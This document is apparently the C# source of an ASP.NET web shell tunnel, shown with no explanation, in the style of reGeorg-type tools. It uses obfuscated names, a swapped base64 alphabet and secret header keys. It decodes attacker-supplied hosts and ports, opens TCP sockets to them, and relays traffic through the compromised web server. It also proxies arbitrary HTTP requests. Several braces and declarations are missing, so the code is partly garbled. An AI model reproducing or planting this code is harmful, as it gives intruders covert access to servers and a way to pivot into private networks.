String ifjodfjoifjdi = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
String dfdfefegbngb = "3WY7XIQZj6sFNcvwHqkpyEDRb8LzeSCAu1UfOGhT49lBmo25Pd/+VtnMragxi0KJ";
String ohjkyojhoy = Request.Headers.Get("Cu");
Uri u = new Uri(System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(StrTr(ohjkyojhoy, dfdfefegbngb, ifjodfjoifjdi))));
WebRequest request = WebRequest.Create(u);
request.Method = Request.HttpMethod;
foreach (string key in Request.Headers)
request.Headers.Add(key, Request.Headers.Get(key));
int buffLen = Request.ContentLength;
byte[] buff = new byte[buffLen];
if ((c = Request.InputStream.Read(buff, 0, buff.Length)) > 0)
System.Text.Encoding.Default.GetString(buff);
Stream body = request.GetRequestStream();
body.Write(buff, 0, buff.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
WebHeaderCollection webHeader = response.Headers;
for (int i = 0; i < webHeader.Count; i++)
string fdherthsdghdg = webHeader.GetKey(i);
if (fdherthsdghdg != "Content-Length" && fdherthsdghdg != "Transfer-Encoding")
Response.AddHeader(fdherthsdghdg, webHeader[i]);
StreamReader repBody = new StreamReader(response.GetResponseStream(), Encoding.GetEncoding("UTF-8"));
string mofogi = repBody.ReadToEnd();
Response.AddHeader("Content-Length", mofogi.Length.ToString());
Response.StatusCode = 200;
String hgfdghfhg = Request.Headers.Get("Wg");
String mark = hgfdghfhg.Substring(0, 22);
hgfdghfhg = hgfdghfhg.Substring(22);
if (hgfdghfhg == "rzyCTGg5cSHIFuzS3mVM670fdvcfFXCUZDZpUEYCTsvnsfsc89BfA")
String target_str = System.Text.Encoding.Default.GetString(Convert.FromBase64String(StrTr(Request.Headers.Get("Zdxfflwbelrbeuhib"), dfdfefegbngb, ifjodfjoifjdi)));
String[] target_ary = target_str.Split('|');
String target = target_ary[0];
int port = int.Parse(target_ary[1]);
ip = IPAddress.Parse(target);
IPHostEntry host = Dns.GetHostByName(target);
ip = host.AddressList[0];
System.Net.IPEndPoint remoteEP = new IPEndPoint(ip, port);
Socket sender = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
sender.Connect(remoteEP);
Application.Add(mark, sender);
Response.AddHeader("Fkjcgybzwnzyksk", "SQ69Cbhm0CB888UxwgbSaWEcoq");
Response.AddHeader("Pazuuift", "H2jnO_aDHPOiFxJtZxVEEHQEOOJKvrHKVOVhNN");
Response.AddHeader("Fkjcgybzwnzyksk", "WLhGNMeeIAHr9xgFBKChI1qx_h75pf4V5Y20iB28zeu4Z");
else if (hgfdghfhg == "QPhgMEXcKr_RgE2KttsoHT1P6g54Q0nqt_bWKLI0JNYRkxkCqb")
Socket s = (Socket)Application[mark];
Application.Remove(mark);
else if (hgfdghfhg == "bIWIGr0BfR1mxvXzm5g7Vb9Aq6G0VZDupqGNCoAZvR")
Socket s = (Socket)Application[mark];
int buffLen = Request.ContentLength;
byte[] buff = new byte[buffLen];
while ((c = Request.InputStream.Read(buff, 0, buff.Length)) > 0)
string ruryuryhur = StrTr(System.Text.Encoding.Default.GetString(buff), dfdfefegbngb, ifjodfjoifjdi);
s.Send(Convert.FromBase64String(ruryuryhur));
Response.AddHeader("Fkjcgybzwnzyksk", "SQ69Cbhm0CB888UxwgbSaWEcoq");
Response.AddHeader("Pazuuift", "L4zvUsY6hLptnnZqfPtpE3GfmhDNx");
Response.AddHeader("Fkjcgybzwnzyksk", "WLhGNMeeIAHr9xgFBKChI1qx_h75pf4V5Y20iB28zeu4Z");
else if (hgfdghfhg == "X2WRpYS2RaUK5wPIrpkIHYdoq")
Socket s = (Socket)Application[mark];
byte[] readBuff = new byte[513];
int c = s.Receive(readBuff);
byte[] newBuff = new byte[c];
System.Buffer.BlockCopy(readBuff, 0, newBuff, 0, c);
string ruryuryhur = Convert.ToBase64String(newBuff);
Response.BinaryWrite(Encoding.Default.GetBytes(StrTr(ruryuryhur, ifjodfjoifjdi, dfdfefegbngb)));
if (c < 513 || readLen >= maxRead)
Response.AddHeader("Fkjcgybzwnzyksk", "SQ69Cbhm0CB888UxwgbSaWEcoq");
catch (SocketException soex)
Response.AddHeader("Fkjcgybzwnzyksk", "SQ69Cbhm0CB888UxwgbSaWEcoq");
Response.AddHeader("Fkjcgybzwnzyksk", "SQ69Cbhm0CB888UxwgbSaWEcoq");
Response.Write("<!-- hello-->");
Response.AddHeader("Fkjcgybzwnzyksk", "WLhGNMeeIAHr9xgFBKChI1qx_h75pf4V5Y20iB28zeu4Z");